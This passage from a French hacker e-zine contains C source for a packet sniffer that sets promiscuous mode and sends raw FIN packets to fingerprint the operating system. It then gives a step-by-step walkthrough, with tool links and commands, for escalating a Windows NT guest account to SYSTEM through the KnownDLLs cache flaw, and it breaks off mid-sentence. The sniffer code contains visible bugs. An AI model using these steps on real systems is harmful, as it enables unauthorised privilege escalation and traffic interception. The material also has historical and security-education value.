break;
case 8:
rtype = "Echo request";
break;
case 9:
rtype = "Router advertissement";
break;
case 10:
rtype = "Router solicitation";
break;
case 11:
rtype = "Time exceded";
break;
case 12:
rtype = "Parameter problem";
break;
case 13:
rtype = "Timestamp request";
break;
case 14:
rtype = "TImestamp reply";
break;
case 15:
rtype = "Information request";
break;
case 16:
rtype = "Information reply";
break;
case 17:
rtype = "Adress mask request";
break;
case 18:
rtype = "Adress mask reply";
break;
case 30:
rtype = "Traceroute";
break;
case 31:
rtype = "Conversion error";
break;
case 32:
rtype = "Dynamic redirection";
break;
case 35:
rtype = "Mobile registration request";
break;
case 36:
rtype = "Mobile registration reply";
break;
case 39:
rtype = "SADP";
break;
case 40:
rtype = "Photuris";
break;
}
return rtype; // on renvoit un pointeur sur le type
}
------8<---------------------------------------------------------------------
[ getaddr ]
Cette fonction ne prend qu'un seul argument de type char représentant le nom de
la machine, et permet de vérifier la présence de cet hôte sur le réseaux. Elle
retourne l'adresse réseau de ce dernier au format u_long.
------8<---------------------------------------------------------------------
unsigned long getaddr(char *sname){
struct hostent * hip; // notre structure hostent (voir issue précédente)
hip = gethostbyname(sname); // présence de l'hôte
if (!hip){
perror("Adresse invalide"); // en c
exit(1);
}
return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format
// réseau de la structure hostent
}
------8<---------------------------------------------------------------------
3. Point d'entrée :
___________________
Pour finir, la fonction principale qui récupère l'interface réseau passée en
argument, l'interface à utiliser, le(s) protocole(s) à sniffer, la quelconque
cible à la prise d'empreinte de pile, le protocole à identifier ou encore les
headers à afficher !
J'ai également ajouté la possiblité d'afficher les aliases/nom/numéro de chaque
protocole pour permettre une interactivité plus facile avec les différentes options
du sniffer.
Il faut savoir qu'à chaque protocole correspond un numéro comme vous auriez pu
le voir plus haut. Ils sont employés pour la communication sur le réseau.
La bibliothèque C met à notre disposition deux fonctions potentielles permettant
de récupérer le protocole.
Tout d'abord la fonction getprotobyname() définissant ledit protocole par le
biais d'une chaine string représentant son nom et enfin gethostbynumber() indiquant
cette fois-ci le protocole en lui faisant correspondre un integer (voir le tableau
ci-dessus). Ces fonctions sont déclarés dans l'header <netdb.h> :
struct protoent * getprotobyname(cont chat * nom);
struct protoent * getprotobynumber(int numero);
Il faut savoir que la structure protoent contient les membres suivants :
p_proto: type int, numéro officiel du protocole (fourni dans l'odre des octets de la machine).
p_name: type char *, nom officiel du protocole.
p_aliases: type char **, table de chaines de caractères correspondant à d'éventuels alias,
terminée par un pointeur NULL.
L'ensemble des protocoles supportés par le système courant est affiché via
l'appel des fonctions setprotoent(), getprotoent(), endprotoent(). La première
ouvre le fichier, le seconde lis l'enregistrement et la dernière ferme le fichier.
Ne pas oublier de définir l'argument seprotoent() nul, dans le cas contraire le
fichier ne sera pas refermé par endprotoent() :
void setprotoent(int ouvert);
sruct protoent * getprotoent(void);
void endprotoent(void);
Après avoir déclaré l'header netdb et notre point d'entrée, nous définirons une
fonction permettant l'affichage de tous les protocoles présents sur la machine.
Tout ceci via le triplé des fonctions décrites ci-dessus:
------8<---------------------------------------------------------------------
for(i=0;i<argc;i++)
{
if(argv[i][0]=='-')
{
// Si la syntaxe de l'argument i est correcte alors continuer
setprotoent(0);
// Ouverture du fichier contenant les protocoles tournant sur la machine
while((protocole=getprotoent())!=NULL)
{
// Boucle lisant chaque ligne du fichier
fprintf(stdout, "%s", protocole->p_name);
// Afficher le nom de chaque protocole
endprotoent();
// Fermet le fichier, cette ligne est indispensable
fprintf(stdout, "\n");
}
}
------8<---------------------------------------------------------------------
Il s'agit désormais d'afficher les caractéristiques d'un protocole (alias, numéro,
nom), via son nom ou son numéro d'identification (contenu dans etc/protocols). Notre
programme devra alors être capable d'analyser le type d'arg (int ou char) et d'afficher
le résultat correspondant.
------8<---------------------------------------------------------------------
if(sscanf(argv[i],"%d",&numero)==1)
// Si l'argument i est un integer
protocole=getprotobynumber(numero);
// On cherche le protocole par son numéro
else
protocole=getprotobyname(argv[i]);
// Sinon on s'empare du protocole via son nom
fprintf(stdout,"%s :",argv[i]);
if(protocole=NULL)
{
fprintf(stdout,"inconnu\n");
// En cas d'erreur, on continue
continue;
}
fprintf(stdout, "%s ( ",protocole->p_name);
// On affiche alors le nom du protocole
for(j=0;protocole->p_aliases[j]!=NULL;j++)
fprintf(stdout, "% s",protocole->p_aliases[j]);
// On affiche les aliases du protocoles
fprintf(stdout, ") numéro = %d \n", protocole->p_proto);
// Enfin, le numéro du protocole
}
return (0);
}
------8<---------------------------------------------------------------------
Et le voici notre fameux point d'entrée !
------8<---------------------------------------------------------------------
int main(int argc, char **argv)
{
// déclaration des variables
int sockfd;
int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero;
char *name, *pp, *source, *cible;
unsigned long ssource, scible;
struct protoent * protocole;
// si le nombre d'arguments entré est insuffisant à lsniff on affiche une aide et on quitte
if (argc < 3)
{
printf(" Ssniff - Li0n7 \n\n");
printf(" .: Presentation des arguments :. \n\n");
printf(" -i<inter>: interface carte reseau \n");
printf(" -p<proto>: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n");
printf(" -e: afficher ethernet header \n");
printf(" -t: afficher ip header \n");
printf(" -d: afficher donnees \n");
printf(" -x: tout afficher (ethernet header, ip header, $proto header, donnees) \n");
printf(" -s: interface simple \n");
printf(" -o<adresse cible> <adresse source>: OS fingerprinting \n");
printf(" -z<proto>: description et numéro du protocole (nom ou numéro) \n\n");
exit(0);
} else {
// sinon on récupère nos arguments
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 'i':
name = &argv[1][2]; // nom de l'interface
break;
case 'p':
proto = atoi(&argv[1][2]); // protocole à sniffer
break;
case 'e':
e = 1; // sniffer ethernet header
break;
case 's':
sinter = 1; // affichage de tous les champs du paquet
break;
case 't':
fip = 1; // sniffer ip header
break;
case 'd':
sdat = 1; // sniffer data header
break;
case 'x': // interface complexe
e = 1;
sinter = 1;
fip = 1;
sdat = 1;
break;
case 'z':
pp = &argv[1][2]; // récupération du nom ou numéro du protocole
if(sscanf(pp,"%d", & numero) == 1)
protocole = getprotobynumber(numero); // identification du protocole via son numéro
else
protocole = getprotobyname(pp); // identification du protocole via son nom
fprintf(stdout,"%s :", pp);
if(protocole == NULL)
{
fprintf(stdout,"inconnu\n"); // si le protocole est inconnue, on continue
continue;
}
fprintf(stdout, "%s ( ",protocole->p_name); // affiche nom du protocole
for(j=0;protocole->p_aliases[j] != NULL;j++)
fprintf(stdout, "% s", protocole->p_aliases[j]); // affiche tous ses alias
fprintf(stdout, ") numéro = %d \n", protocole->p_proto); // affiche numéro du protocole
return -1;
break;
case 'o':
cible = &argv[1][2]; // cible os_fingerp
source = &argv[2][0]; // adresse source (la notre)
scible = getaddr(cible); // résolution de l'adresse ciblée
ssource = getaddr(source); // résolution de notre adresse
os_fingerp(ssource, scible); // on lance l'os fingerprinting
}
--argc;
++argv;
}
}
if((sockfd = ouvre_interface(name))<0){ // ouverture de l'interface
fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
return -1;
}
if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){ // lecture en boucles des paquets
fprintf(stderr, "Erreur lors de la lecture des paquets\n");
return -1;
}
return 0;
}
------8<---------------------------------------------------------------------
III. Code Source :
__________________
------------8<-----------------------------------------------------------------------
/******************************************/
/* lsniff By Li0n7 */
/* contactez-moi: Li0n7@voila.fr */
/* L7L.FR.ST */
/* SNIFFER ETHER/IP/TCP/UDP/ICMP */
/* Copyright Li0n7 - Tous droits réservés */
/******************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/udp.h>
#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SEQ 0x28376839
struct pseudohdr {
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
}pseudo;
struct ether_header *hdr;
struct iphdr *ip;
struct tcphdr *tcp;
struct icmphdr *icmp;
struct udphdr *udp;
struct sockaddr_in rhost;
struct hostent *source;
struct hostent *cible;
struct recvpaquet
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
struct icmphdr icmp;
struct udphdr udp;
char data[8000];
} buffer;
int size;
int ouvre_interface(char *name)
{
struct sockaddr addr;
struct ifreq ifr;
int sockfd;
sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if(sockfd<0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sa_family=AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));
if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
close(sockfd);
return -1;
}
if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
{
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
{
close(sockfd);
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd;
}
unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int os_fingerp(unsigned long ssource, unsigned long scible)
{
char *paquet, *fip, *packet, *buffer;
int sock;
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
ip = (struct iphdr *) packet;
tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = (random());
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = ssource;
ip->daddr = scible;
pseudo.saddr = ip->saddr;
pseudo.daddr = ip->daddr;
pseudo.useless = htons(0);
pseudo.protocol = IPPROTO_TCP;
pseudo.length = sizeof(struct tcphdr);
tcp->source = htons(5000);
tcp->dest = htons(80);
tcp->seq = htonl(SEQ);
tcp->ack_seq = htonl(0);
tcp->doff=sizeof(tcp)/4;
tcp->res1=0;
tcp->fin = 1;
tcp->syn = 0;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->urg = 0;
tcp->window = htons(65535);
tcp->urg_ptr = htons(0);
tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror("Erreur lors de la creation du socket");
return -1;
} else {
rhost.sin_family = AF_INET;
rhost.sin_port = tcp->dest;
rhost.sin_addr.s_addr = ip->daddr;
if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){
perror("Erreur lors de l'envoie du paquet FIN");
}else{
printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest));
size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
read_loop(sock, 0, 0, 0, 0, 0, 1);
}
}
close(sock);
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
return 0;
}
unsigned long getaddr(char *sname){
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip){
perror("Adresse invalide");
exit(1);
}
return *(unsigned long *)hip -> h_addr;
}
char *icmp_type(int type){
char *rtype;
switch (type){
case 0:
rtype = "echo reply";
break;
case 3:
rtype = "unreachable host";
break;
case 4:
rtype = "Source quench";
break;
case 5:
rtype = "Redirection";
break;
case 6:
rtype = "Alternative host adress";
break;
case 8:
rtype = "Echo request";
break;
case 9:
rtype = "Router advertissement";
break;
case 10:
rtype = "Router solicitation";
break;
case 11:
rtype = "Time exceded";
break;
case 12:
rtype = "Parameter problem";
break;
case 13:
rtype = "Timestamp request";
break;
case 14:
rtype = "TImestamp reply";
break;
case 15:
rtype = "Information request";
break;
case 16:
rtype = "Information reply";
break;
case 17:
rtype = "Adress mask request";
break;
case 18:
rtype = "Adress mask reply";
break;
case 30:
rtype = "Traceroute";
break;
case 31:
rtype = "Conversion error";
break;
case 32:
rtype = "Dynamic redirection";
break;
case 35:
rtype = "Mobile registration request";
break;
case 36:
rtype = "Mobile registration reply";
break;
case 39:
rtype = "SADP";
break;
case 40:
rtype = "Photuris";
break;
}
return rtype;
}
int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os)
{
struct hostent *hote;
char buf[1792], *donnees, *proto, *flag[5], *itype, *ios;
int fromlen, c, i=0, j, datal, stype;
struct protoent * protocole;
unsigned char *s, *d, *ftype;
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
proto = (char *)malloc(1024);
for (j=0; j <= 5; j++){
flag[j] = (char *)malloc(1024);
}
itype = (char *)malloc(1024);
ios = (char *) malloc(1024);
s = (unsigned char *)&(ip->saddr);
d = (unsigned char *)&(ip->daddr);
while(1){
i++;
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
if (os == 0){
sprintf(proto, "%d", ip->protocol);
sprintf(flag[0], "%d", tcp->fin);
sprintf(flag[1], "%d", tcp->syn);
sprintf(flag[2], "%d", tcp->rst);
sprintf(flag[3], "%d", tcp->psh);
sprintf(flag[4], "%d", tcp->ack);
sprintf(flag[5], "%d", tcp->urg);
if(sinter==1){
printf("---------->>> Trame réseau numéro: %i\n", i);
hdr=(struct ether_header *)buf;
if(x==1){
printf("--[ETHERNET HEADER]\n");
printf("Host source ethernet: ");
for(c=0; c < ETH_ALEN; c++)
printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
printf("\nHost distant ethernet: ");
for(c=0; c < ETH_ALEN; c++)
printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
printf("\nType: %i\n",hdr->ether_type);
}
if (sip==1){
printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n", ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol);
}
if(((atoi(proto))==6)&&(protos==6 || protos==0)){
printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest));
printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq),
tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst);
printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr));
datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
donnees = (char *)(((unsigned long)buffer.data)-2);
if(sdat==1){
printf("--[DONNES]\n");
for(j=0; j <= datal; j++)
printf("%c", donnees[j]);
}
} else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code);
printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum);
} else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){
printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest));
printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check);
donnees = (char *)(((unsigned long)buffer.data)-2);
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if(sdat==1){
printf("--[DONNEES]\n");
for(j=0; j <= datal; j++)
printf("%c", donnees[j]);
}
}
} else {
if(((atoi(proto))==6)&&(protos==6 || protos==0)){
datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if(datal < 0) datal = 0;
printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d",
i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest));
if((atoi(flag[0]))==1) printf(" F");
if((atoi(flag[1]))==1) printf(" S");
if((atoi(flag[2]))==1) printf(" R");
if((atoi(flag[3]))==1) printf(" P");
if((atoi(flag[4]))==1) printf(" A");
if((atoi(flag[5]))==1) printf(" U");
printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal);
} else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
stype = icmp->type;
ftype = icmp_type(stype);
printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s",
i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype);
} else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) {
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if (datal<0) datal = 0;
printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d",
i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source), d[0],d[1],d[2],d[3],
ntohs(udp->dest), datal, ntohs(udp->len), udp-> check);
} else if ((atoi(proto))==protos || protos==0) {
printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u",
i, ip->version, ip->protocol, getprotobynumber(ip->protocol),
s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
}
}
printf("\n");
} else {
printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d",
s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack);
sprintf(ios, "%d", tcp->rst);
if((atoi(ios))==1){
printf("Système distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n");
}
}
}
printf("Nombre de paquets sniffés: %d\n", c);
}
int main(int argc, char **argv)
{
int sockfd;
int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero;
char *name, *pp, *source, *cible;
unsigned long ssource, scible;
struct protoent * protocole;
if (argc < 3)
{
printf(" Ssniff - Li0n7 \n\n");
printf(" .: Presentation des arguments :. \n\n");
printf(" -i<inter>: interface carte reseau \n");
printf(" -p<proto>: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n");
printf(" -e: afficher ethernet header \n");
printf(" -t: afficher ip header \n");
printf(" -d: afficher donnees \n");
printf(" -x: tout afficher (ethernet header, ip header, $proto header, donnees) \n");
printf(" -s: interface simple \n");
printf(" -o<adresse cible> <adresse source>: OS fingerprinting \n");
printf(" -z<proto>: description et numéro du protocole (nom ou numéro) \n\n");
exit(0);
} else {
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 'i':
name = &argv[1][2];
break;
case 'p':
proto = atoi(&argv[1][2]);
break;
case 'e':
e = 1;
break;
case 's':
sinter = 1;
break;
case 't':
fip = 1;
break;
case 'd':
sdat = 1;
break;
case 'x':
e = 1;
sinter = 1;
fip = 1;
sdat = 1;
break;
case 'z':
pp = &argv[1][2];
if(sscanf(pp,"%d", & numero) == 1)
protocole = getprotobynumber(numero);
else
protocole = getprotobyname(pp);
fprintf(stdout,"%s :", pp);
if(protocole == NULL)
{
fprintf(stdout,"inconnu\n");
continue;
}
fprintf(stdout, "%s ( ",protocole->p_name);
for(j=0;protocole->p_aliases[j] != NULL;j++)
fprintf(stdout, "% s", protocole->p_aliases[j]);
fprintf(stdout, ") numéro = %d \n", protocole->p_proto);
return -1;
break;
case 'o':
cible = &argv[1][2];
source = &argv[2][0];
scible = getaddr(cible);
ssource = getaddr(source);
os_fingerp(ssource, scible);
}
--argc;
++argv;
}
}
if((sockfd = ouvre_interface(name))<0){
fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
return -1;
}
if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){
fprintf(stderr, "Erreur lors de la lecture des paquets\n");
return -1;
}
return 0;
}
------------8<-----------------------------------------------------------------------
[ Conclusion ]
Voila tout, vous pouvez modifier ce programme à votre guise, dès l'instant
que le nom du concepteur initial figure dans les sources. Ce sniffer est encore
basique, une utilisation plus poussée de l'OS fingerprinting sera probablement
ultérieurement implémentée avec peut être quelques fonctions de scanning avancées
(half-scan, xmas scanning, SYN fin, NULL scanning). Restons-en ici pour le moment,
l'interfafe a été beaucoup travaillée, le programme est lui même intuitif. Mais il
n'est pas dénué de défaut, loin de là. Il ne capture pas les paquets envoyés avec
comme IP source et destination localhost@localhost. Une fonction intéréssante serait
d'enregistrer toutes les sorties de lsniff dans un fichier pour visualisation ultérieure.
Et gardez en tête que c'est en programmant par plaisir que vous repousserez vos limites
dans des retranchements insoupsonés.
Enfin, pour compiler :
$ gcc -o protos protos.c
Help? Commentaires? Insultes? -> Li0n7@voila.fr
Li0n7
---------------------------------------------------------------------------------------
V. Something about WinNT Viperone
---------------------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++
++++ Fichier Joint : winnt.zip ++++
+++++++++++++++++++++++++++++++++++
[ Introducion ]
Ceci est mon premier article pour IOC Magazine. Jespère quil vous plaira.
Je vais vous apprendre comment exploiter une faille dans Windows NT qui nous
permettra de devenir administrateur sur le réseau ou la machine simple. Je
croit que je nai pas besoin de demander pourquoi devenir root ...
I. Préliminaires :
__________________
Tout dabord, voici la liste des systèmes NT affectés par la faille.
· Workstation 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
· Server 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
· Server 4.0, 4.0 SP4 , Enterprise Edition
· Server 4.0, Terminal Server Edition
Cet exploit peut être effectué à partir dun compte invité et tout autres
comptes (il faut avoir accès à la base de registre).
II. Principe :
______________
Windows NT met en oeuvre un système de mémoire cache dans lequel il charge
des librairies dynamiques (DLL) particulièrement importantes et surtout très
fréquemment utilisées. Elles sont alors partagées entre tous les programmes.
Cela évite des copies répétitives en mémoire de ces DLL, améliorant ainsi
l'utilisation de la mémoire et les performances du système. À partir du
moment où une de ces DLL a été placée dans le cache, elle n'est plus jamais
rechargée depuis un fichier sur le disque (du moins tant et aussi longtemps
que Windows nest pas quitté). Le chargement de ces DLL est effectué au
démarrage de Windows (avant ouverture d'une session), à partir d'une liste
contenue dans la clef « KnowDLLs»
Voici le lien dans la base de registre (Voir image1.gif) :
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerKnownDLLs
On y retrouve une vingtaine de DLL, dont "kernel32.dll", "user32.dll",
"url.dll", "version.dll"... Ce système est (était?) censé accroître la
sécurité, puisque le remplacement sur disque d'une de ces DLL par une
autre (de même nom mais modifiée) st totalement vain. En effet, prenons
l'exemple de "comdlg32.dll", qui sert à afficher les boites de dialogue
standard. Si au cours d'une session on décide de remplacer cette librairie
par une autre version, (en admettant qu'il n'y ait à cet instant aucune
application y faisant appel), cette opération sera inopérante, puisque
Windows continuera à utiliser la version initiale de comdlg32, placée
dans le cache.
Donc, il est tout à fait possible à un utilisateur n'ayant aucun privilège
de vider, modifier, ajouter un objet, en particulier une librairie système
comme "kernel32.dll". A l'aide de cette librairie modifiée, il va être
possible deffectuer nimporte quelle opération par la suite.
II. Exploitation :
__________________
L'idée de base mise en oeuvre par L0ph Heavy Industries pour mettre en
évidence ce défaut a été la suivante :
1- Création d'une DLL "kernel32.dll" modifiée, différent
sur un point par rapport à la version originale :
Le point d'entrée (DLLMain), appelé systématiquement à chaque chargement
de la DLL par n'importe quel processus, a été réécrit complètement. Toutes
les autres API renvoient simplement à la DLL d'origine. DLLmain effectue
une énumération des objets "Windows Station", puis pour chaque, énumération
des "Windows Desktop", avec communication du nom du propriétaire de l'objet
et interrogation de l'utilisateur s'il veut lancer ou non un "shell" pour
cette station/desktop.
Tant qu'il voit son nom comme propriétaire, l'utilisateur doit répondre
"non", jusqu'à ce qu'apparaisse comme propriétaire : AUTORITE NT/SYSTEM.
A ce moment là, la DLL modifiée kernel32 va ouvrir une fenêtre console
de commandes (command.com de DOS), mais qui n'a rien d'anodine, puisque
le propriétaire en est AUTORITE NT/SYSTEM. Donc tout processus exécuté
depuis cette fenêtre va hériter des droits AUTORITE NT/SYSTEM, c'est à
dire avec le plus haut niveau de privilèges ! Ainsi, l'utilisateur n'ayant
aucun droit - en théorie - pourra donc exécuter le gestionnaire des
utilisateurs, ouvrir son compte, et le modifier à sa guise, en s'octroyant
par exemple le niveau administrateur.
2- Choix d'une tâche qui déclenche indirectement un processus
ayant AUTORITE NT/SYSTEM comme propriétaire :
Toute application "classique" lancée par l'utilisateur hérite des privilèges
de l'utilisateur, mais il peut y avoir des processus intermédiaires, lancés
alors par Windows, et ayant alors AUTORITE NT/SYSTEM comme propriétaire. Cela
se produit quand on lance une application d'un autre sous-système. On rappelle
à cet effet qu'il y a 3 sous-systèmes sous Windows NT, en mode "user" (mode protégé),
situés au dessus du système de base, en mode "kernel" (non protégé) :
· Win32 (Applications Windows 32 bits + NT Virtual DOS Machine, dans
laquelle s'exécuteront les applications Windows 16 bits et les
applications DOS)
· POSIX (Applications en mode caractère, normalisées, portables sous
d'autres systèmes d'exploitation telles que UNIX)
· OS/2 (Applications en mode caractère du système d'exploitation d'IBM)
Par défaut, une session Windows est dans le sous-système Win32. Les autres
sous-systèmes (POSIX et OS/2) sont alors inactifs. Si, depuis une fenêtre
de commandes (Win32) on lance une application POSIX, cela va se traduire par
l'exécution première du processus Win32 psxss.exe (Application sous-système
POSIX, qui va donner le contrôle ensuite à la DLL Client POSIX psxdll.dll).
Or ce processus, qui nécessite temporairement le passage en mode kernel, a
donc pour propriétaire AUTORITE NT/SYSTEM. Par ailleurs, psxss.exe fait appel
à kernel32.dll (ne serait-ce que pour les API LoadLibrary et GetProcAddress).
Donc il va provoquer à un certain moment l'exécution du point d'entrée modifié
de kernel32.dll, et ainsi permettre le lancement d'un shell appartenant à AUTORITE
NT/SYSTEM.
III. Mode opératoire :
______________________
On utilise deux fichiers fournis par L0pht
http://www.bellamyjc.net/download/failleNT4/hackdll.zip
· eggdll.dll : version modifiée de kernel32.dll
· hackdll.exe : exécutable permettant la suppression et le remplacement
d'un objet dans le cache la syntaxe est très simple :
- suppression d'un objet : hackdll -d <nom_objet_dll>
- ajout d'un objet : hackdll -a <nom_objet_dll> <chemin_fichier_dll>
Par ailleurs, on a créé un compte dans le groupe "invités" (aucun privilège) du
nom de "DICK". On commence par recopier dans le répertoire c:temp la DLL originale
kernel32.dll, renommée ici en realkern.dll. Ce répertoire et ce nouveau nom sont
obligatoires, la nouvelle DLL eggdll.dll effectuant une redirection "en dur" (nom
et chemin) vers elle.
L0pht ayant fourni les sources http://www.bellamyjc.net/download/failleNT4/hackdllsrc.zip
il est toutefois possible de recompiler cette librairie si on veut changer de nom
et/ou de répertoire. Ensuite on lance une session sous le compte DICK.
On ouvre une fenêtre de commandes, dans laquelle on vide du cache la DLL kernel32.Dll,
puis on la remplace par eggdll.dll. Voir image : image2.gif
Il ne faut plus toucher à cette fenêtre, toute action provoquant le retour à la
situation initiale.
Depuis une autre fenêtre de commandes, on lance une commande POSIX. Le Ressource KIT
de NT en contient tout un répertoire (commandes "vi", "ls", "cat", "rmdir", "grep",...),
mais on peut toujours se contenter de taper par exemple la commande posix /c calc (NB: le
programme "calc" a été pris au hasard. Ce n'est pas un programme POSIX, donc il y aura à
la fin un refus de la part du lanceur "posix" de l'exécuter, mais cela n'a pas d'importance,
puisque ce que l'on désire seulement est le démarrage du processus psxss.exe)
Une première boite de dialogue apparaît : image3.gif
On répond ici "Non", car le propriétaire est pour l'instant "DICK"
D'autres boites analogues vont se suivre, jusqua ce qu'apparaisse : image4.gif
On répond alors "Oui" à cette question puis à celles qui suivent ( image5.gif ).
Une fenêtre de commande nommée "System Console" apparaît alors :
Fenêtre console créée par kernel32.dll
Le propriétaire est AUTORITE NT
Lancement du gestionnaire d'utilisateurs depuis cette fenêtre.
On peut modifier totalement le compte "DICK" et les autres ! ( voir image6.gif ).
Fenêtre console ouverte normalement par DICK.
Le propriétaire est DICK
Lancement du gestionnaire d'utilisateurs depuis cette fenêtre.
On ne peut pas modifier le compte "DICK" !
On peut d'ailleurs vérifier cette "dualité" de comptes, en exécutant la
